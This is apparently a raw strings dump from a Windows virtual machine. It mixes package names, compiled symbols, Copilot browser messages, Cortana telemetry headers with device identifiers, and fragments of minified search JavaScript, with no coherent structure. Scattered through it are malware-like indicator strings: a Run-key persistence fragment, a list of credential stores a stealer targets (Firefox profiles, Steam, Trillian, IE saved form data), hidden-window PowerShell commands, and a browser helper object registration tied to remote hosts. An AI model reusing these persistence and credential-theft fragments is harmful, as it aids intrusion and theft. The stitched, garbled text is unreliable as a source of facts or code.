MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw(UJ
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard(EO
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience(T
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability(>3(O=
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup(RB
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost(L<
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist(K;
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding(J?
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata(1Y
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager*aL
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop*_H
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp*gE
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner*^F
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup*]
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog2{Z
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel1zD
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview0yI
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager-wO
MicrosoftWindows.Client.Photon_cw5n;
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout*d
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog2{Z
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel1zD
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview0y:
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata-uI
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager-wO
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions-vD
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost,tA
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata,q9
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost,rK
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost,sD
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata+oR
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions+pC
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata)VL
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX)YC
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback)[K
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay)Z
MicrosoftWindows.Client.OOBE_Z
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLI@
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
	windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
GetSystemWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.WindowsAppRuntime.1.5CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US8wekyb3d8bbweMicrosoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
Windows.PrintDialogCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyWindows.PrintDialog_cw5n1h2txyewy
windows.immersivecontrolpanelCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewywindows.immersivecontrolpanel_cw5n1h2txyewy
Windows.CBSPreviewCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyWindows.CBSPreview_cw5n1h2txyewy
MicrosoftWindows.UndockedDevKitCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.UndockedDevKit_cw5n1h2txyewy
MicrosoftWindows.Client.PhotonCN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=UScw5n1h2txyewyMicrosoftWindows.Client.Photon_cw5n1h2txyewy
MicrosoftWindows.Client;
\microsoft\windows\templatesc
windows\sy
Win32API|System Shutdown Functions|ExitWindowsEx|EWX_REBOOT
Win32API|System Shutdown Functions|ExitWindowsEx|EWX_SHUTDOWN
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
WindowsCredentials
windows.activatableClass%
Windows Defender Scheduled Scan1
Windows Defender Cleanup
CONCERN:t[23],WINDOWS_
 on Windows Search here. To protect
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
api-ms-win-core-windowserrorreporting-l1-1-0.dll
!HideWindows.B
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@USettingsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
	windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExecutionAlias
ms-teams.exeWindows.PartialTrustApplication
windows.protocol
windows.protocol
windows.backgroundTasks
windows.comServer
windows.shareTarget
windows.desktopAppMigration
windows.appExecutionAlias
ms-teams.exeWindows.FullTrustApplication
windows.toastNotificationActivation
windows.comInterface
windows.comServer
windows.appExtension
windows.startupTask
msteams_autostarter.exeWindows.FullTrustApplication
windows.appUriHandler
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExecutionAlias
olk.exeWindows.FullTrustApplication
windows.fullTrustProcess
windows.appExtension
windows.toastNotificationActivation
windows.appExecutionAlias
msteams_autostarter.exeWindows.FullTrustApplication
windows.appExecutionAlias
ms-teamsupdate.exeWindows.FullTrustApplication
windows.protocol
windows.appExecutionAlias
Windows.FullTrustApplication
windows.protocol
windows.preInstalledConfigTask
windows.comServer
windows.comServer
windows.toastNotificationActivation
windows.comServer
windows.desktopAppMigration
windows.appUriHandler
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileExplorerContextMenus
windows.comServer
	windows.comServer
(@Microsoft-Windows-Security-SPP
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
/vmware/configurations/vmtools/windows/tools.conf
windows\syswow64\rundll32.exe\";$a=2
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
\software\microsoft\windows\currentversion\run /v 
9B\temp\u16event.htmlfindnexturlcacheentryawindowslive:name=*passport.net\*software\google\google talk\accounts\yahoo.ini\trillian\users\default\steam.dll\mozilla\firefox\profiles\software\microsoft\internet explorer\intelliforms\storage2
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
yyx-device-isoptinfalsesec-ch-ua-platform-version""sec-ch-ua-platform"Windows"x-telemetry-guid{72B98143-8168-41BF-B88C-F43ACEFBC313}sec-ch-ua-model""sec-ch-ua-arch""x-bm-marketCHx-search-cortanaavailablecapabilitiesNonex-search-timezoneBias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Timex-userageclassUnknownx-device-manufacturerVMware, Inc.user-agentMozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840x-bm-searchfeatures
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
powershell.exe-windowstylehidden-command"add-type-assemblynamesystem.io.compression.filesystem
c:\windows\system32\windowspowershell\v1.0\powershell.exe/whidden$guid='
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
/1stemail.php http/1.1\windows\currentversion\r
e.available),c=_w.WSB.config.wsbWebView2;return u===this.dlAlias&&f.setAttribute("aria-label",this.GetLocString("LAUNCH_MAIL_APP_LINK")+" "+this.dlAriaLabel),(c||h)&&(f.onclick=function(){n.launchUriAsync(r,!0)}),t.appendChild(f),f},n.launchUriAsync=function(n,t){try{return new Promise(function(i){var r=SearchAppWrapper.CortanaApp.launcher.createUriLaunchOptions();r.launchPolicy=2;r.dismissAppBeforeLaunchingURI=t;i(SearchAppWrapper.CortanaApp.launcher.launchUriAsync(n,r))})}catch(i){return Promise.resolve(!1)}},n.prototype.AddTextArea=function(n,t,i,r){r===void 0&&(r=!0);var u=sj_ce("textarea",t);return u.placeholder=i,u.required=!0,n.appendChild(u),u},n.prototype.AddText=function(n,t,i,r){var u=sj_ce(t);return u.innerText=i,typeof r!="undefined"&&(u.className=r),n.appendChild(u),u},n.prototype.AddButton=function(n,t,i){var r=sj_ce("input");return r.type=t,r.value=i,n.appendChild(r),r},n.prototype.OnSubmitForm=function(t){var f,e,h,c,l,a,p,w;if(t.preventDefault(),Feedback.Core.ValidateInputs(_ge(this.feedbackContainerId))!==!1){Lib.CssClass.add(_ge("fbpgdgsbbt").parentElement,"inactive");var b=!!this.fbcfg.capturePage,o=this.GetFormValue(this.screenshotChkName,"checked"),s=b&&(!this.FormElementExists(this.screenshotChkName)||o),u=Feedback.debugCollector.collect(s),i={partner:"BingLegacy",feedbackType:"feedback",trafficType:this.fbcfg.internal?"MSCorp":"External",feedbackPackage:"bing.feedback.qf",url:location.href,width:Math.round(_w.innerWidth),height:Math.round(_w.innerHeight),source:typeof u.source=="undefined"?"windows":u.source,send_mail:!0};o!==null&&(i.screenshotAllowed=o);f=this.GetFormValue(this.sendmailChkName,"checked");f!==null&&(i.send_mail=f);e=this.GetFormValue(this.aliasTxtName,"value");e&&(!f||(i.alias=e),this.SetAlias(e));typeof _G!="undefined"&&(_G.IG&&(i.impression_guid=_G.IG),_G.EventID&&(i.traceId=_G.EventID),_G.ST&&(i.timeStamp=Feedback.Core.GetISODate(_G.ST)),_G.V?i.vertical=_G.V:_G.P&&(i.vertical=_G.P),_G.PN!==undefined&&(i.canvas=_G.PN));var v=window.frames.miniIframeSerp,y=v&&v.contentWindow,r=y&&y._G;r&&(r.IG||r.EventID)&&(h=i.structured_data=i.structured_data||{},r.IG&&(h.impression_guid_miniSerp=r.IG),r.EventID&&(h.traceId_miniSerp=r.EventID));c=Feedback.Core.GetUserQuery();c!==null&&(i.query=c);for(l in u)i[l]=u[l];i.canvas!==undefined&&(i.vertical=i.canvas);a=this.GetFormValue(Feedback.Core.verbatimTxtId,"value");typeof a=="string"&&(i.text=a);i.type=this.DetermineFeedbackType();p=function(t){n.LogError("OnSubmitForm","FeedbackFileTimeoutError",t)};w=this;Feedback.files.getFiles(s,function(){return!0},p).then(function(n){w.ContinueSubmit(i,s,n)},function(t){n.LogError("OnSubmitForm","FeedbackFileGetError",t.toString())})}},n.prototype.ContinueSubmit=function(n,t,i){if(t){var r=new Microsoft.Search.DOMCopyManipulator(_d.documentElement);r.DeleteElementsBySelector("script");r.DeleteElementsBySelector("#aRmsDefer");r.DeleteElementsBySelector(".fbig");r.ManipulateElementsBySelector("img",[new Microsoft.Search.InlineImagesManipulator(r.DocumentFragment)]);r.ApplyStyle("body","background-color","#303030");n.html=r.SerializeToHtml(this.InlineIFramesAndAbsoluteURLs);i.length>0&&(n.feedbackFiles=i)}_w.WindowsFeedbackProtocol&&WindowsFeedbackProtocol.Send(n);this.Hide();typeof _G!="undefined"&&_G.IG?Log2.LogEvent("ClientInst",{target:"Submit"},"Feedback.Click",null,null,_G.IG,null,null):Log2.LogEvent("ClientInst",{type:"ImpressionSubmitError",error:"_G.IG was not available when clicking on Submit button"},"Feedback.Error",null,null,null,null,null)},n.prototype.OnCloseForm=function(n){n.preventDefault();this.Hide();typeof _G!="undefined"&&_G.IG?Log2.LogEvent("ClientInst",{target:"Cancel"},"Feedback.Click",null,null,_G.IG,null,null):Log2.LogEvent("ClientInst",{type:"ImpressionCloseError",error:"_G.IG was not available when clicking on Cancel button"},"Feedback.Error",null,null,null,null,null)},n.prototype.GetCategoryRadioButtons=function(n){return n.querySelectorAll('input[name="type"]')},n.prototype.DetermineFeedbackType=function(){for(var r=_ge(this.feedbackContainerId),t=this.GetCategoryRadioButtonI
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DIPS
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DIPS-journal
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DIPS-wal
software\microsoft\windows\currentversion\ext\settings\{16
IEHelper%d%d%d_%s.dllclient.yiqilai.com:1207login.yiqilai.com:1207regcoderequest.yiqilai.com:1207Software\Classes\CLSID\{16A770A0-0E87-4278-B748-2460D64A8386}\InprocServer32Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{16A770A0-0E87-4278-B748-2460D64A8386}
windows
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
"Windows"
Windows
{"remoteObjectId": 0, "methodName": "", "parameters": {"kind":"response","result":"{\"X-PositionerType\":\"Desktop\",\"X-Search-CortanaAvailableCapabilities\":\"None\",\"X-Device-MachineId\":\"{3CA88F2F-E712-492F-98AE-9B40194CF1A5}\",\"X-UserAgeClass\":\"Unknown\",\"X-BM-Market\":\"CH\",\"X-BM-DateFormat\":\"dd.MM.yyyy\",\"X-Device-OSSKU\":\"48\",\"X-BM-DTZ\":\"60\",\"X-DeviceID\":\"0100047E0900B8F7\",\"X-Device-IsA9Capable\":\"false\",\"X-BM-WindowsFlights\":\"FX:1387B252,FX:1390908A,FX:139625D1,FX:13A03C5B,FX:1361B13C,FX:1352C485,FX:138E93ED,FX:137506BB,FX:135E3503,FX:1361B178,FX:130DD09D,FX:138F1B88,FX:1304E3F4,FX:1312D799,FX:139B604C,FX:13802EFB,FX:137ABC77,FX:136CA592,FX:137F4285,FX:1368E1B0,FX:13770BB8,FX:03906DEF,FX:138580B2,FX:1393480A,FX:1377D688,FX:139B65B3,FX:13936BEB,FX:139A40D0,FX:139A4E0D,FX:138AFBD8,FX:1388E986,FX:137297A9,FX:1388E988,FX:1388E987,FX:137599CB,FX:0390BB93,FX:1388E985,FX:1388E989,FX:137BDA0A,FX:138A2837,FX:1386304D,FX:137DAA81,FX:139EB4E1,FX:1388E98A,FX:1388E990,FX:1388E992,FX:1389169E,FX:13A28A66,FX:13922784,FX:1383F373,FX:1392C19F,FX:1399AD0E,FX:1399AD0A,FX:13999239,FX:13966E9C,FX:1397466B,FX:13A33F92,FX:03A2815C\",\"X-BM-DeviceScale\":\"100\",\"X-Telemetry-Guid\":\"{72B98143-8168-41BF-B88C-F43ACEFBC313}\",\"X-Search-TimeZone\":\"Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time\",\"X-Device-Manufacturer\":\"VMware, Inc.\",\"X-BM-Theme\":\"ffffff;0078d4\",\"X-BM-DeviceDimensionsLogical\":\"3438x1199\",\"X-BM-DeviceDimensions\":\"3438x1199\",\"X-Agent-DeviceId\":\"0100047E0900B8F7\",\"X-Device-Product\":\"VMware20,1\",\"X-Device-IsThirdPartyWebSearchSupported\":\"true\",\"X-BM-CBT\":\"1771920401\",\"X-Device-BuildBranch\":\"ge_release\",\"X-Device-isOptin\":\"false\",\"Accept-language\":\"en-US, en\",\"X-Device-Touch\":\"false\",\"X-Device-ClientSession\":\"EF17536FBD864BF28C0B3D4070D3E145\",\"X-BM-SearchFeatures\":\"45980057:1,48818825:1,45687739:1,41150162:1,46110145:1,48637055:1,48909483:0,56039577:0,45995231:1,46030046:1,48800088:1,43283005:1,48362945:1,56384656:0,50027266:1,53927647:1,50065374:1,49805431:1,53029811:0,49804107:1,46536486:0,50659858:1,45075103:1,49145296:1,59968371:0,40887771:1,43349158:1,56321400:1,43572857:1,52538889:1,56263234:0,45721604:1,56021392:1,58029256:0,55182095:1,43998261:1,56246287:1,40979072:1,44571814:1,48449532:1,46111200:0,44533041:1,47251916:0,52754209:0,57915467:0,55759873:1,51742149:0,56524881:1,55758958:0,53509714:0,56154553:0,59012251:0,54865932:1,51742224:0,56097011:1,56242425:1,56242355:1,56750487:1,56919513:1,56347821:1,57696100:1,58288238:0,\",\"X-Search-AppId\":\"Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI\"}"}, "callId": 11}
\Palladium for Windows.lnk
\Palladium for Windows.lnk
nction e(t){var i,r;return t.length>=2&&(n.isStore((i=t[0])===null||i===void 0?void 0:i.type)||n.isStore((r=t[1])===null||r===void 0?void 0:r.type))}let r;(function(n){n[n.NotDuplicate=0]="NotDuplicate";n[n.NoMetadata=1]="NoMetadata";n[n.MergeMetadata=2]="MergeMetadata"})(r||(r={}));const u={"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\cmd.exe":{appToPromote:"Microsoft.WindowsTerminal_8wekyb3d8bbwe!App",enabled:n.config.promoteTerminalOverCmd},"Microsoft.Windows.MediaPlayer32":{appToPromote:"Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic",enabled:n.config.demoteWindowsMediaPlayer}};t.isWebSuggestionForPrefix=i;t.topHitIsMultiEntity=f;t.topHitHasStoreApp=e;class o{constructor(n,t,i,r,u,f,e){this._navigationHelper=n;this._previousKeystrokeCache=t;this._ranker=i;this._renderedTopResults=r;this._previewPane=u;this._upsellViewModel=f;this._copilotViewModel=e}launchWebSearch(t,i,r,u,f){let e=t.queryToFetch;n.Host.launchSearchAsync(e,this._navigationHelper.getSearchUrl(t.fullPartialQuery,e,r,null,u,undefined,undefined,undefined,undefined,f),i,r)}getProtocol(t,i){let u="PWL",r=n.InstrumentationHelper.getInstrumentedSyntheticSuggestion(i,u);if(r)return r;r=n.createSuggestion(t,null,n.config.enableCoherentWebsiteSuggestion?null:n.Host.getEdgeIcon,n.config.enableCoherentWebsiteSuggestion?{content:"&#xEB41",type:2}:null,u,null,n.InstrumentedItem.getNonSuggestionInstrumentedItem(u,n.SyntheticQSCodesMaps.KValues),1,i,!1,"tp",()=>n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync(r.url):n.Host.launchUrlWithHttpProtocolAsync(r.url,{medium:"MSBLink"}));r.notAResult=!0;let f=t=>{let i=n.prettyPrintUrl(t.fixedUrl,t.queryToFetch,!0);r.url=t.fixedUrl;r.tooltip=t.fixedUrl;r.query=i;r.text=HitHighlightingParser.addMarkers(i);r.narratorText=n.getNarratorText(r,n.Host.getLocString("DirectNavSuggestion"));r.reactKey=u+t.fixedUrl};return f(t),r.updateFromQuery=n=>n.isProtocol?(f(n),!0):!1,n.InstrumentationHelper.instrumentSyntheticSuggestion(i,r),n.shouldShowBadgeIcon()&&n.applyBadgeToSuggestion(r),r}getWebSearch(t,i,r,u,f,e){let o=n.contains([13,14],f);return n.getSyntheticSuggestion(t,i,r,u,f,e,o,(t,i)=>n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync(this._navigationHelper.getSearchUrl(i.fullPartialQuery,i.queryToFetch,r,null,f,undefined,undefined,undefined,undefined,t.msbVerticalHash)):this.launchWebSearch(i,t.useRaf,r,f,t.msbVerticalHash))}getExplorerSearch(t,i){let r=n.getSyntheticSuggestion(t,i,"SDFE",{content:"&#xEC50",type:1},2,n.Host.getLocString("SearchInFileExplorer"),!0,(t,i)=>n.Host.launchSearchInFileExplorer(i.queryToFetch));return n.shouldSetThisPcGroupSource(n.GroupType.Documents,t)&&(r.sourceForGroup=1),r}getOutlookWebAccessSearch(t,i){let r=n.AccessTokenManager.getWindowsAccountType()==1;return 